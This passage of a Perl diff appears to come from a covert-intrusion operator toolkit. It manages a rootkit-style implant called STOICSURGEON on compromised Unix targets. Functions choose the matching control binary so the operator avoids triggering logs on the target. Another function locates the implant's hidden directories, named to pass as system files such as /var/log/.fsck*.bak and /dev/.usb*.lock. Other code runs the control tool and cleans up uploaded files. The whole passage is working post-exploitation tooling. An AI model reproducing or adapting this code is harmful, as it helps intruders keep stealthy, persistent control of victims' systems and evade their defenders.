+}#fixdirswithslashes + +sub mystoicctrl { + # If given new local file as second argument, that replaces whatever was in + # $optmp/stoicctrl.$nopen_rhostname. + # RETURNS: Full path to correct file for $nopen_rhostname, per user input. + # First time called for target, interviews operator to confirm what + # StoicsurgeonCtrl file to use on $nopen_myhostname. + # It is saved in $optmp/stoicctrl.$nopen_rhostname for future + # calls to mystoicctrl. + return "" unless $nopen_rhostname; + local ($what,$newfile,$comment) = (@_); + # If $noprompt, we return value set previously by user OR + # if there is exactly one match to $stoicver + # (from varkeys for this host), then we return that. + + my $noprompt = 1 if $what =~ /noprompt/i; + my $forceit = 1 if $what =~ /forceit/i; + my $candidatefile = ""; + $candidatefile = $newfile if -e $newfile; + $forceit = 1 unless ($candidatefile or $noprompt); + my ($killstring,@more,$stoicmore1,$stoicmore) = (); + + # Call findinvarkeys() to populate $IMPLANTVERS{IP+stoicsurgeon} + my ($stoicver,$stoicctrl) = (); + my ($match, + @IP,%FQDN,%KEYSTR,%OS,%IMPLANTS, + %UTCOFFSET,%ALLIMPLANTKEYS,%IMPLANTKEYS,%IMPLANTVERS,%ALLIMPLANTVERS) = () ; + # dbg("in mystoicctrl(@_): + #nopen_myip=$nopen_myip + #\$nopen_rhostname=$nopen_rhostname= + #\$nopen_ip=$nopen_ip= + #"); + + if ($match = findinvarkeys($nopen_myip,1,\@IP,\%FQDN,\%KEYSTR,\%OS,\%IMPLANTS, + \%UTCOFFSET,\%ALLIMPLANTKEYS,\%IMPLANTKEYS,\%IMPLANTVERS,\%ALLIMPLANTVERS) + ) { + #dbg("Found $nopen_myip in varkeys/: match=$match= IP=(@IP)"); +# foreach my $key (keys %FQDN) { +# dbg("FQDN{$key}=$FQDN{$key}="); +# } +# foreach my $key (keys %KEYSTR) { +# dbg("KEYSTR{$key}=$KEYSTR{$key}="); +# } +# foreach my $key (keys %OS) { +# dbg("OS{$key}=$OS{$key}="); +# } +# foreach my $key (keys %IMPLANTS) { +# dbg("IMPLANTS{$key}=$IMPLANTS{$key}="); +# } +# foreach my $key (keys %UTCOFFSET) { +# dbg("UTCOFFSET{$key}=$UTCOFFSET{$key}="); +# } +# foreach my $key (keys %ALLIMPLANTKEYS) { +# dbg("ALLIMPLANTKEYS{$key}=$ALLIMPLANTKEYS{$key}="); +# } +# foreach my $key (keys %IMPLANTKEYS) { +# dbg("IMPLANTKEYS{$key}=$IMPLANTKEYS{$key}="); +# } +# foreach my $key (keys %IMPLANTVERS) { +# dbg("IMPLANTVERS{$key}=$IMPLANTVERS{$key}="); +# } +# foreach my $key (keys %ALLIMPLANTVERS) { +# dbg("ALLIMPLANTVERS{$key}=$ALLIMPLANTVERS{$key}="); +# } + $stoicver = $IMPLANTVERS{"${nopen_myip}+stoicsurgeon"} + if $IMPLANTVERS{"${nopen_myip}+stoicsurgeon"}; + if ($IMPLANTVERS{"${nopen_myip}+STOICSURGEON"}) { + $stoicver .= ",".$IMPLANTVERS{"${nopen_myip}+STOICSURGEON"} + unless $IMPLANTVERS{"${nopen_myip}+stoicsurgeon"} eq $IMPLANTVERS{"${nopen_myip}+STOICSURGEON"}; + } + } else { +# dbg("NOT Found in varkeys: nopen_myip=$nopen_myip="); + } + + if ($stoicver) { + @more = split(/,/,$stoicver); + if ($stoicver =~ /,/) { + $stoicmore1 = "S (ODD, more than one? You must verify)"; + } + $stoicver =~ s/,/, /g; + $stoicmore = "../bin/varkeys indicates STOICSURGEON VERSION$stoicmore1: $stoicver\n". + "exists on $nopen_rhostname\n\n". + "Please confirm that is correct.\n\n"; + } + my @origctrlslist = split(/\n/,`find $opup -type f -o -type l | grep -i Ctrl | sort`); + @origctrlslist = grep /stoicsurgeon.*ctrl/i , @origctrlslist; + my @ctrlslist = parelist(@origctrlslist); + mydie("No stoicsurgeon_ctrl.* binaries found in $opup. Get help.") + unless @ctrlslist; + #grep /stoicsurgeon.*ctrl/i , sort readdir SKINNYDIR; +# my @ctrlslist = @origctrlslist; +# mydie("No stoicsurgeon_ctrl.* binaries found in $opup. Get help.") +# unless @ctrlslist; +# my $origsize = @ctrlslist; +##dbg(scalar @ctrlslist . " "."ctrlslist=(@ctrlslist)"); +# @ctrlslist = grep /linux/i , @ctrlslist +# if $linuxtarget; +##dbg(scalar @ctrlslist . " "."ctrlslist=(@ctrlslist)"); +# @ctrlslist = grep /sparc/i , @ctrlslist +# if $sparctarget; +##dbg(scalar @ctrlslist . " "."ctrlslist=(@ctrlslist)"); +# if ($inteltarget) { +# @ctrlslist = grep /[xi].{0,1}86/i , @ctrlslist; +# } else { +# @ctrlslist = grep ! /[xi].{0,1}86/i , @ctrlslist; +# } +##dbg(scalar @ctrlslist . " "."ctrlslist=(@ctrlslist)"); +# @ctrlslist = grep /sparc64/i , @ctrlslist +# if $sparc64target; +##dbg(scalar @ctrlslist . " "."ctrlslist=(@ctrlslist)"); +# @ctrlslist = grep /64/i , @ctrlslist +# if $intel64target; +##dbg(scalar @ctrlslist . " "."ctrlslist=(@ctrlslist)"); +# if ($solaristarget) { +# @ctrlslist = grep /solaris/i , @ctrlslist; +# #dbg(scalar @ctrlslist . " "."ctrlslist=(@ctrlslist)"); +# } +# my @maybelist=(); +# if ($solaristargetversion) { +# my $str = $solaristargetversion; +# $str =~ s/\./\\\./g; +# @maybelist = grep /solaris$solaristargetversion/i , @ctrlslist; +# } +# @ctrlslist = @maybelist if @maybelist; +# dbg("FINAL: ".scalar @ctrlslist . " "."ctrlslist=(@ctrlslist)"); +#dbg("stoicver=$stoicver= noprompt=$noprompt="); + unless ($stoicver or $noprompt) { + # If no good guess show vers that match in popup + my $height = minof(77,scalar @ctrlslist + 15); + my $showlines = `ls -ilLrt @ctrlslist`; +#dbg("showlines from ls -ilL @ctrlslist:\n$showlines"); + my $width = 80; + foreach my $filename (@ctrlslist) { + $width = length $filename if length $filename > $width; + } + # $width needs to be wider as we are now using `ls -lLi` on every file + $width += 53; + $killstring = dolocalecho + ("# ".gmtime()."\n#\n". + "# These Stoicsurgeon-Ctrls match the following:\n". + "# nopen_serverinfo=$nopen_serverinfo\n". + "# linuxtarget=$linuxtarget=\n". + "# solaristarget=$solaristarget=\n". + "# solaristargetversion=$solaristargetversion=\n". + "# sparctarget=$sparctarget=\n". + "# inteltarget=$inteltarget=\n". + "# sparc64target=$sparc64target=\n". + "# intel64target=$intel64target=\n". + "# targetos=$targetos=\n\n". +# join("\n",@ctrlslist). + $showlines. + "", + "popup -geometry ${width}x$height-0+0 -title \"Stoic_Ctrl_Choices:_$nopen_rhostname\"" + ); + #dbg("in mystoicctrl(@_) dolocalecho just retuned killstring=$killstring="); + } + + my $matchsize = @ctrlslist; + $stoicmore .= "$matchsize of $origsize stoicsurgeon_ctrl_* binaries in $opup"; + $stoicmore .= "\nmatch: $nopen_rhostname\n". + " $nopen_serverinfo"; + if ($more[0]) { + @matches = grep /$more[0]/ , @ctrlslist; + } + #dbg("stoicver=$stoicver Matches=(@matches) more[0]=$more[0]=_$more[0]_ "); + my $morecount = @more; + if (length $stoicver) { + $stoicmore .= "\n$morecount of which match STOICSURGEON v.$stoicver:\n"; + for ($i=0;$i<@matches;$i++) { + my $ls = `ls -l $matches[$i]`; + $ls =~ s/.*(\s+\d+\s+(Jan|Feb|Mar|Apr|May|Jun|Jul|Aug|Sep|Oct|Nov|Dec))/$1/; + $stoicmore .= $ls; + } + } else { + $stoicmore .= "\n\nSee popup window at right listing all $matchsize candidates.\n". + "(close that window whenever you like)\n"; + } + + $stoicmore .= "\n\n"; + #dbg("candidatefile=$candidatefile= stoicctrlfile=$stoicctrlfile="); + if (!$candidatefile and -e $stoicctrlfile) { + $candidatefile = $stoicctrlfile; + } +#dbg(" + +#noprompt=$noprompt= +#forceit=$forceit= +#AFTER +#candidatefile=$candidatefile= +#stoicctrlfile=$stoicctrlfile="); +#OLDWAY: if (open(UTILSIN,"$optmp/stoicctrl.$nopen_rhostname")) { +# ($candidatefile) = ; +# close(UTILSIN); + + while ((! -e $candidatefile ) or $noprompt or $forceit) { + my ($ans,$longans)=(); + $forceit=0; + if ($noprompt) { + if ($more[0]) { + @matches = grep /_$more[0]_/ , @origctrlslist unless @matches; + @matches = grep /$more[0]/ , @origctrlslist unless @matches; + } +#dbg("0Matches=(@matches) more[0]=$more[0]=_$more[0]_= "); + if ($stoicver and @matches == 1) { + ($longans,@junk) = grep /_$more[0]_/ , @ctrlslist ; + ($longans,@junk) = grep /$more[0]/ , @ctrlslist unless $longans; +#dbg("longans=$longans junk=(@junk)"); + $longans = "" if @junk; + } + } else { + my $default = "ABORT"; + $default = $more[0] if (@matches == 1 and length $more[0]) ; + ($ans,$longans) = mygetinput + ("$stoiccmd\n\n". + $COLOR_FAILURE. + "Using the wrong version of Stoicsurgeon-Ctrl can cause logging on target.\n". + "The version used should match that of STOICSURGEON deployed most recently.\n". + "$COLOR_NORMAL\n". + $stoicmore. + "Which version of Stoicsurgeon-Ctrl should we use\n". + "(do one of:\n". + " triple-click the ls line you want;\n". + " enter the four number version string;\n". + " enter a complete file path (one not shown if need be); or\n". + " enter ABORT to do so):", + $default, + @therest); + if ($ans eq "a") { + mystoicmydie("Aborted by user.") + if (defined &mystoicmydie); + $stoicctrl = ""; + last; + } + } + last unless length $longans > 1; + + # Listing shown includes inode, size, date. If they triple-click/paste a line + # from it, trim it here to just the full path. + $longans = $1 + if ($longans =~ m,\d (/current/up.*),) ; + # Uparrow or whatever causes brackets to show up which breaks grep below. + $longans =~ s/[\[\]]//g; + $longans = $1 + if ($longans =~ m,v(\d+\.\d+\.\d+\.\d+),) ; + + @matches = grep /${longans}/ , @ctrlslist; + #dbg("matches=(@matches) scalar=".scalar @matches); + unless (@matches) { + my @matches2 = grep /${longans}/ , @origctrlslist; +# dbg("Got + + +#longans=$longans= + +# matches=(\n". +#join("\n",@matches)." +# matches2=(\n". +#join("\n",@matches2)." +#origctrlslist=(\n". +#join("\n",@origctrlslist)." +#)"); + if (@matches2 = grep m,${longans}, , @origctrlslist) { + my ($this,$es,$was) = ("This",""); + ($this,$es,$was) = ("These","es","were") if @matches2 > 1; + my ($ans) = mygetinput + ("$this match$es $was ruled out by target hardware/platform\n". + "Are you sure?","N"); + mystoicmydie("Aborted by user.") + if ($ans eq "n" and defined &mystoicmydie); + + next unless $ans eq "y"; + } + + } + $candidatefile = "$matches[0]" + if -e "$matches[0]"; + $candidatefile = $longans + if (-e $longans); +#dbg(" +#linuxtarget=$linuxtarget= +#solaristarget=$solaristarget= +#sparctarget=$sparctarget= +#inteltarget=$inteltarget= +#sparc64target=$sparc64target= +#intel64target=$intel64target= +#targetos=$targetos= + +#stoicver=$stoicver= +#morecount=$morecount +#stoicmore=$stoicmore= +#candidatefile=$candidatefile= +#"); + $stoicctrl = $candidatefile; + last if $noprompt; + } +#OLDWAY: and open(UTILSOUT,">$optmp/stoicctrl.$nopen_rhostname")) { +# print UTILSOUT $candidatefile; +# close(UTILSOUT); +#dbg("1in mystoicctrl(@_) dolocalecho just returned killstring=$killstring="); +#dbg("killing stoic popup here if therehere:\n". +# "killlocalechopopup($killstring);"); + + killlocalechopopup($killstring); + if (-e $candidatefile) { + newhostvar("stoicctrlfile",$candidatefile); + } else { + newhostvar("stoicctrlfile",""); + } + return $stoicctrlfile; +}#mystoicctrl + +sub runandteststoicctrl { + # Only thing calling this (as of 16 MAR 2010) is autoskinny + # Returns NON-ZERO if failure (an error message), + # Returns NULL ("") if not. + # $p_args is an array ref to our args for stoicctrl + # $p_output is an array ref, we populate that array + my ($p_args,$p_output) = (@_); +# my @args = (@_); + my @sargs = (); + my @problems = (); + my $testoutfile = ""; + if ("@$p_args" =~ m,-o\s*(/\S+),) { + $testoutfile = $1 if (-d dirname($1)); + } + if ($testoutfile) { + push(@sargs,"-o$testoutfile"); + + } else { + $testoutfile = "$optmp/stoicctrl.out"; + } +#dbg("args is now (@$p_args)"); + my $opto = 0; + foreach (@$p_args) { + if ($opto) { + $opto = 0 unless ($_ eq "-o"); + next; + } + $_ eq "-o" ? $opto = 1 : $opto = 0; + push(@sargs,$_) unless (m,-o/,); + } + ($completeoutput,@completeoutput,@errs,$results, + @results,%results) = (); + stoicctrl(@sargs); + open(STOICIN,$testoutfile) or return ("ERROR: Could not write to $testoutfile"); + @$p_output = ; + close(STOICIN); + @results = grep /^\d+\s*$/ , $p_output; + @problems = grep ! /^0+\s*$/ , @results; + if (@problems) { + @problems=( + "Unable to use Stoicsurgeon-Ctrl or it returned non-zero. Use -gs stoicctrl -X\n". + "to try it again with some other file, or maybe you need help if the box is\n". + "really no longer stoic-ed.",@problems + ); + } + #dbg("runandteststoicctrl(@_) + +#\@\$p_output=($p_output) + +#returning @problems"); + return @problems; +}#runandteststoicctrl + +sub stoicctrl { + # Uses and populates some globals: + # @completeoutput + # %results + # @errs + # @ARGV +# local (@args) = (@_); + use File::Copy ; +# my @saveARGV = @ARGV; +# @ARGV=@args; + my $autofile = "$opetc/autostoicctrl"; + unless (-e $autofile) { + mystoicmydie("Cannot call stoicctrl: $autofile not there") + if defined &mystoicmydie; + mydie("Cannot call stoicctrl: $autofile not there"); + } + # This calls autostoicctrl, which will parse @ARGV +#dbg("Calling do $autofile with argv=(\n".join("\n",@ARGV)."\n);\n"); + my $retval = mydo($autofile,@_); +# do "$autofile"; + @errs = grep /^1$/,@completeoutput; + %results = (); + my ($running) = (); + foreach (@completeoutput) { + if (/RUNNING/) { + $running = $_ ; + } else { + $results{$running} .= $_ if $running; + } + } + $running = ""; + foreach my $key (keys %results) { + $running .= "$key: $results{$key}\n"; + } +# dbg("exiting stoicctrl(@_) with errs=(@errs) results=(". +# $running. +# ")"); + +# @ARGV=@saveARGV; +} + +sub gethiddendir { + # Looks for hidden dir, STOIC first then IN. + # If $runctrl provided, it must be the correct upload/execute Ctrl. + # RETURNS: ($hdir,$shdir,@hiddoutput); + # $hdir is complete hiddendir (if there) + # $shdir is that less the last three characters + # @hiddoutput is complete ls output, just one line if there is one dir + # @tmphiddoutput is a staging area, grepped on to find @hiddoutput + # NEW MAR 2010: Returns modified ref-arrays of directories. + local ($redols,$recurse,$refdirarray,$refshortdirarray,$nosleep,$ghd_startpath) = (@_); +$ghd_startpath = $startpath if ($startpath =~ m,^/...,); +#offerabort("in sub gethiddendir() ghd_startpath=$ghd_startpath="); + + # Silently drop this if it is not /-relative + $ghd_startpath = "" unless ($ghd_startpath =~ m,^/[^/],); + if ($ghd_startpath) { + # Preserve all variables, revert back to these when done. + copy($hostvarfile,"$hostvarfile.bak.$$"); + } + + +##TESTINGONLY +#$ghd_startpath = "/.zfs/snapshot/*"; + + + + + my (@newdirarray,@newshortdirarray) = (); + my $seewhat = ""; + my $content = "This is odd."; + my $orighostdir = $host_hiddendir; +#dbg("In gethiddendir(@_) +#recurse=$recurse= +#orighostdir=$orighostdir= +#content=$content= +#"); + if ($recurse =~ /(.*)SPECIAL:/) { + # This is special, means not recurse but change the $content in the prompt + $orighostdir = $1 if ($recurse =~ m/(\/.*)SPECIAL:/); + $content = $recurse; + $content =~ s,.*SPECIAL:,,g; + $content .= "\n"; + $recurse = 0; + #dbg("We are special near: content=$content= orighostdir=$orighostdir="); + } + if ($recurse) { + #$seewhat = "-R"; + $runctrl = ""; + } + mydie("Only call gethiddendir() when \$socket is live") + unless $socket; + # $hexdir is a (ls and -ls and shell) regexp for a dotfile starting with exactly 16 hex digits +# WAS: +# local $hexdir = "."."[A-Fa-f0-9]" x 16 . "*"; +# local $tmpdir = ".tmp"."[A-Za-z0-9_-]" x 6 . "*"; + + local $hexdir = "\."."[a-f0-9]{16}"; + local $tmpdir = "\.tmp"."[a-z0-9_-]{6}"; + my ($olderformat,$latestformat,%olddir,%regexdir) = (0,0); +$dbgoutput = ""; + $regexdir{"$ghd_startpath/var/log"} = "/var/log/\.fsck......\.bak"; + $regexdir{"$ghd_startpath/var/spool"} = "/var/spool/\.cron......\.bak"; + $regexdir{"$ghd_startpath/var/tmp"} = "/var/tmp/\.......-unix"; + $regexdir{"$ghd_startpath/lib"} = "/lib/\.security......\.lock"; + $regexdir{"$ghd_startpath/dev"} = "/dev/\.usb......\.lock"; + $regexdir{"$ghd_startpath/etc"} = "/etc/\.dev......\.save"; + $regexdir{"$ghd_startpath/"} = "/opt......\.save"; + $olddir{"$ghd_startpath/var/tmp"}++ ; + local ($hdir,$shdir,$ctrlhdir,$ctrlfailed,$output,$nopenlines, + @hiddoutput,@tmphiddoutput,@norecurseoutput,$indir,$lscmd) = (); + # On HPUX, we change $hexdir to be not dotfile and exactly 32 hex digits + my @parentdirs = ( + "$ghd_startpath/var/spool", + "$ghd_startpath/var/log", + "$ghd_startpath/lib", + "$ghd_startpath/dev", + "$ghd_startpath/etc", + "$ghd_startpath/", + "$ghd_startpath/var/tmp", # MUST BE LAST IN LOOP BELOW + ); + if ($hpuxtarget) { + $hexdir = "3d9892354a360245add0f483f269f3" ; + @parentdirs = ("/lost+found") ; + } +#WAS THIS BUSTED? +# if (!$host_hiddendir and $host_hiddendir_not_found and !$redols) { +dbg(" +redols=$redols= +host_hiddendir=$host_hiddendir= +host_hiddendir_not_found=$host_hiddendir_not_found= +"); + if (!$redols and ($host_hiddendir or $host_hiddendir_not_found)) { + if (defined $refdirarray) { + # Set the refarrays via the globals + @$refdirarray = @host_hiddendirs; + @$refshortdirarray = @host_shorthiddendirs + if (defined $refshortdirarray); + } + if ($recurse) { + doit("-ls -R ".join(" ",keys %host_hiddendirs)); + progprint("\n$COLOR_NORMAL\nHidden directories recursively listed above.". + "\n\nhost_hiddendirlist=$host_hiddendirlist="); + } + return ($host_hiddendir,$shdir,()); + } + my $dirtype = "Stoicsurgeon"; + while (1) { + if ($indir) { + $dirtype = "Incision"; + } else { + $lscmd = "-ls -d $seewhat"; +# $lscmd2 = "-ls $seewhat"; +# $lscmd = "" if $recurse; + # Have to be careful here. If @parentdirs grows much, the -ls line will be too big. + # As of 18 AUG 2009, the command is under 1200 characters. Up to 1900 or so would be OK. + # Within this foreach loop, could test length and do multiple -ls commands if it gets + # too big. For now that's not in here. + foreach (@parentdirs) { + $lscmd .= " $_/.[a-z0-9]*"; + } + } + $lscmd =~ s,/+,/,g; + my $savelocal = " >L:$optmp/stoichunt.$nopen_rhostname"; + # Nah, never mind: + $savelocal = ""; + if ($savelocal) { + preservefile("$optmp/stoichunt.$nopen_rhostname"); + } + +# if ($recurse) { +# if (defined &mydoit) { +# ($tmphiddoutput,$nopenlines,@norecurseoutput) = +# mydoit("-ls $lscmd$savelocal"); +# ($tmphiddoutput2,$nopenlines2,@norecurseoutput2) = +# mydoit("-ls $lscmd2$savelocal"); +# } else { +# ($tmphiddoutput,$nopenlines,@norecurseoutput) = +# doit("-ls $lscmd$savelocal"); +# ($tmphiddoutput2,$nopenlines2,@norecurseoutput2) = +# doit("-ls $lscmd2$savelocal"); +# } +# # When we are recursing, let nopenlss do that for us, +# # it will use our mydoit() to run the -ls itself. +# # We ignore the array output, the above -ls -d is used +# # to set the hidden dir variable. +# +# ($hiddoutput,$nopenlines,@tmphiddoutput) = +# nopenlss("-UR",$lscmd) +# if (@norecurseoutput); +# } else { + $lscmd .= $savelocal; + if (defined &mydoit) { + ($hiddoutput,$nopenlines,@tmphiddoutput) = + mydoit($lscmd); +# ($hiddoutput2,$nopenlines2,@norecurseoutput2) = +# mydoit($lscmd2); + } else { + ($hiddoutput,$nopenlines,@tmphiddoutput) = + doit($lscmd); +# ($hiddoutput2,$nopenlines2,@norecurseoutput2) = +# doit($lscmd2); + } +# } +# dbg("prog=$prog Just did lscmd=$lscmd= and got hdir=$hdir= shdir=$shdir= +#hiddoutput=$hiddoutput= +#nopenlines=$nopenlines= +# (\n".join("",@hiddoutput)); + + + + # New filters on @hiddoutput + my @oldhiddoutput = (); + foreach my $parentdir (@parentdirs) { + # We stop looking for olddir if we have any new hits so far + if (!$regexpdir{$parentdir} or $olddir{$parentdir}) { + #local $hexdir = "\\."."[A-Fa-f0-9]{16}"; + #local $tmpdir = "\\.tmp"."[A-Za-z0-9_-]{6}"; + my $previouscount = @oldhiddoutput; + push(@oldhiddoutput, grep m,$parentdir/$hexdir,i , @tmphiddoutput); + push(@oldhiddoutput, grep m,$parentdir/$tmpdir,i , @tmphiddoutput); +$dbgoutput .= "OLD: Filtering on $parentdir/$hexdir and ./$tmpdir\nSIZE NOW: ".scalar @oldhiddoutput."\n".scalar@tmphiddoutput."\n"; + $olderformat++ if (@oldhiddoutput > $previouscount); + } + if ($regexdir{$parentdir}) { + my $previouscount = @hiddoutput; + push(@hiddoutput, grep m,$regexdir{$parentdir}, , @tmphiddoutput); +#$dbgoutput .= "NEW: Filtering on $regexdir{$parentdir}\nSIZE NOW: ".scalar @hiddoutput."\n"; + $latestformat++ if ($previouscount < @hiddoutput); + } + } + +dbg("dbgoutput=\n$dbgoutput\n\n". "PARENTDIRS=(@parentdirs)\n". + "OLD:\n". + join("\n",@oldhiddoutput). +""); + if (@oldhiddoutput and @hiddoutput) { + mygetinput("This is pretty odd. We see both old and new names here.\n\n". + $COLOR_NOTE."OLD:$COLOR_NORMAL\n ". + join("\n ",@oldhiddoutput). + $COLOR_NOTE."NEW:$COLOR_NORMAL\n ". + join("\n ",@hiddoutput). + "\n\nWe are proceeding here anyway, take note is all\n\n". + "Press Enter to continue.". + ""); + + } + push(@hiddoutput,@oldhiddoutput); + @norecurseoutput = @hiddoutput; + if (@hiddoutput > 1 and !$recurse and $prog !~ /getnewsuc/) { + mywarn ("NOTE: $dirtype hidden dir ($ctrlhdir) not matching what -ls finds ($hdir).\n". + " You figure it out.") + if ($runctrl); +# dbg("NOTE: More than one directory fits the pattern."); + progprint("NOTE: More than one directory fits the pattern.",$COLOR_FAILURE); + sleep 4 unless $nosleep; + progprint("NOTE: More than one directory fits the pattern.\n\n". + " You figure it out, but we are continuing, returning first one:\n". + join("\n",@hiddoutput),$COLOR_FAILURE); + sleep 2 unless $nosleep; + } + + # Assert, we have @hiddoutput so we have hidden dir(s) + (%host_hiddendirs,$host_hiddendirlist) = (); + $dirnowgonewarning = ""; + $multipledirwarning = ""; + $filematchingwarning = ""; + my ($type,$firsthidden) = (); + newhostvar("host_hiddendirlisting","CLEARALLMATCHING"); + $host_hiddenrfilesmatching = ""; + my %stilltheredirs = (); + foreach my $line (@hiddoutput) { + my $skip = 0; + ($type,$hdir) = $line =~ m,^\s*(\S).* (/\S*),; + $stilltheredirs{$hdir}=1; + if ($type ne "d") { + $host_hiddenfilesmatching .= "$line\n" ; + next ; + } + $skip++ if isbeneathhidden($hdir); +#offerabort("LINE=$line=\nskip=$skip="); +# foreach my $dir (keys %host_hiddendirs) { +#dbg("Is =$hdir= a subdir of already hidden =$dir=?"); +# # Skip this one if a subdir of prev one already +# $skip++ if ($hdir =~ m,^$dir/,); +# } + $host_hiddendirlisting .= "$line\n"; + next if $skip; + $host_hiddendirlist .= "__" if $host_hiddendirlist; + $host_hiddendirlist .= $hdir; + newhostvar("host_hiddendirs{$hdir}",$line); + } + foreach my $dir (keys %host_hiddendirs) { + next if (!$dir or $stilltheredirs{$dir}); + $dirnowgonewarning .= $host_hiddendirs{$dir}."\n" if $host_hiddendirs{$dir}; + newhostvar("host_hiddendirs{$dir}","CLEARALLMATCHING"); + } + if ($dirnowgonewarning and !$ghd_startpath) { + mygetinput($COLOR_NORMAL."\n\n". + "There were one or more matching directories previously on\n". + "$nopen_rhostname which are no longer there, FYI:\n\n". + $COLOR_FAILURE.$dirnowgonewarning. + "\nPress Enter to continue...". +# "\n\nResuming in 4 seconds...". + "\n\n"); + #sleep 4; + } + newhostvar("host_hiddendirlisting",$host_hiddendirlisting); + newhostvar("host_hiddendirlist",$host_hiddendirlist); + newhostvar("host_hiddendirlist{$nopen_rhostname}",$host_hiddendirlist); + @host_hiddendirs = keys %host_hiddendirs; + @newdirarray = @host_hiddendirs; + @newshortdirarray = setshortdirs(@newdirarray); + + if ($recurse) { + doit("-ls -R ".join(" ",keys %host_hiddendirs)); + progprint("\n$COLOR_NORMAL\nHidden directories recursively listed above.". + #"\n\nhost_hiddendirlist=$host_hiddendirlist=". + ""); + } + if (@hiddoutput) { + my $ies = "y"; + my $ofthem = ""; + my $is = "is"; + if (@hiddoutput > 1) { + $ies = "${COLOR_FAILURE}ies$COLOR_NORMAL"; + $multipledirwarning = "\n$COLOR_FAILURE\n\n". + " BUT: There are more than one of them. Unless you know this is OK,\n". + " it almost certainly is NOT OK!!!"; + } + my @filesmatching = grep /^[^d]/ , @hiddoutput; + if (@filesmatching) { + my $one = "One"; + my $is = "is"; + if (@filesmatching > 1) { + $one = "More than one"; + $is = "are"; + } + $filematchingwarning = "\n$COLOR_FAILURE\n\n BUT: $one $ofthem $is a FILE!!!\n\n". + " If you were not expecting that, get some senior help."; + } + if ($ghd_startpath) { + $ghd_startpath = " beneath $ghd_startpath"; + } + progprint("Hidden director$ies found$ghd_startpath:$COLOR_NORMAL\n\n". + $host_hiddendirlisting. + $multipledirwarning. + $filematchingwarning. + ""); + # If we are on an OLD STOIC we alert on that with a problem + if ($olderformat) { + mydo("autoproblem","-TSTOICSURGEON","Older Hidden Directory Format:\n". + $host_hiddendirlisting. + ""); + rename("$opdown/STOICSURGEON-problems.log","$opdown/$nopen_rhostname.STOICSURGEON-problems.log"); + } else { + # We silently remove this file if is there from prior to recent install + unlink("$opdown/$nopen_rhostname.STOICSURGEON-problems.log"); + } + + # If this op has a successful STOIC install, ensure new hidden gets logged + if (my @content = readfile("ARRAY", + "$optooldir/STOICSURGEON.txt")) { + my $diff=0; + for ($i=0 ; $i<@content ; $i++) { + next unless ($content[$i] =~ /^TOOL COMMENTS=/); + my $was = $content[$i]; + $content[$i] =~ s, host_hidden.*,,g; + $content[$i] =~ s, hidden.*,,g; + $content[$i] .= " host_hiddendirlist=$host_hiddendirlist"; + $diff++ unless ($was eq $content[$i]); + last; + } + writefile("$optooldir/STOICSURGEON.txt", + @content) if $diff; + } else { + my $stoicver = "1.8.0.0"; + my $more = ""; + if (! $latestformat) { + $stoicver = "0.0.0.0"; # Unknown how old, but not 1.8 + $more = " (older than 1.8.x.x)"; + } + logtool("STOICSURGEON", + $stoicver, + "SUCCESS", + "ACCESSED", + "host_hiddendirlist=$host_hiddendirlist".$more, + ); + + } + } else { + if ($indir) { + newhostvar("host_hiddendir_not_found",int($host_hiddendir_not_found) + 1, + "hiddendir_viastoic",0, + "host_hiddendir","CLEARALLMATCHING");# if ($ghd_startpath eq ""); + last; + } + # Look for INCISION dir + $indir = "/platform/SUNW,SystemEngine"; + $indir = "/platform/dvri86pc" if $inteltarget; + # No hpux section here, we find that up in the $hexdir area + $lscmd = "-ls $seewhat $indir*"; + $lscmd = "$indir*" if $recurse; + next unless ($darwintarget or $aixtarget); + } + last; + } + # We arbitrarily set the old scalar hiddendir variables + # based on the first one in @$refdirarray. + $hdir = $newdirarray[0]; + ($shdir) = $hdir =~ /(\S+)\S\S\S/; + my @vars = + ("host_hiddendir_not_found",0, + "hiddendir_viastoic",scalar @newdirarray); + if ($indir) { + @vars = ("host_hiddendir_not_found",0, + "hiddendir_viastoic",0); + } + newhostvar(@vars, + "host_hiddendir",$hdir);# if ($ghd_startpath eq ""); + +#dbg("near: + +# mywarn(Host hidden directory changed? $content\n. +# Used to be: $orighostdir\n. +# Now it is: $host_hiddendir); + + +#with recurse=$recurse= +#orighostdir=$orighostdir= +#host_hiddendir=$host_hiddendir= + +#"); + unless ($ghd_startpath or $recurse or + (!$orighostdir and !$host_hiddendir) or + $orighostdir eq $host_hiddendir) { + $content =~ s,(This is normal.*),$COLOR_NOTE$1$COLOR_FAILURE,g; + $hiddenchanged++ if defined $hiddenchanged; + mywarn("Host hidden directory changed? $content\n". + "Used to be: $orighostdir\n". + "Now it is: $host_hiddendir"); + } + # Set globals from these new findings + @host_shorthiddendirs = @newshortdirarray; + if (defined $refdirarray) { + # Set $ref*array from these new findings + @$refdirarray = @newdirarray; + @$refshortdirarray = @newshortdirarray + if (defined $refshortdirarray); + } + +#dbg("set refarrays to + +#host_hiddendirs=(\n". +#join("\n",@host_hiddendirs)."\n) +#host_shorthiddendirs=(\n". +#join("\n",@host_shorthiddendirs)."\n) + +#and return ($host_hiddendir,$shdir,(@hiddoutput));"); + + if ($recurse) { + doit("-ls -R $host_hiddendirlist"); + progprint("Hidden directories listed recursively above.". + $multipledirwarning. + $filematchingwarning. + ""); + } + if ($ghd_startpath) { + # Reset all variables back to seconds ago + unlink($hostvarfile); + rename("$hostvarfile.bak.$$",$hostvarfile); + } + return ($host_hiddendir,$shdir,@hiddoutput); +}#gethiddendir + +sub dotdotpathforfile { + return "" unless $socket ; + my ($file,$indir) = (@_); + return "" unless $file; + if ($indir =~ m,^/+[^/],) { + # Be sure the $indir terminates in a single / + $indir =~ s,/*$,/,; + } else { + # Ignore $indir if not in right format + $indir = ""; + } + my $newfile = "$indir$file"; + my ($clientver,$histfile,$cmdoutfile,$localcwd,$nhome,$localpid,$localppid, + $serverver,$targetwdir,$targetos,$targetcwd,$targetpid,$targetppid,$targetport,$localport) + = parsestatus(force); + # Use deeper of cwd and dirname($file) + my $depth = $targetcwd; + $depth =~ s,/+,/,g; + $depth =~ s,[^/],,g; + my $depth = length($depth); + #dbg("first targetcwd=$targetcwd file=$file= newfile=$newfile= depth=$depth="); + while ($depth-- > 0) { + $newfile = "../$newfile"; + #dbg("in while file=$file= newfile=$newfile= depth=$depth="); + } + #dbg("LAST file=$file= newfile=$newfile= depth=$depth="); + $newfile =~ s,/+,/,g; + return $newfile; +} + +sub rmctrl { + # This is now smart about depth. If our current $targetcwd is deeper in + # than the number of "../" on the front of $ctrluploaded, we add + # the difference times "../" to the front of $ctrluploaded. + local($force) = (@_); + #dbg("In rmctrl(@_) 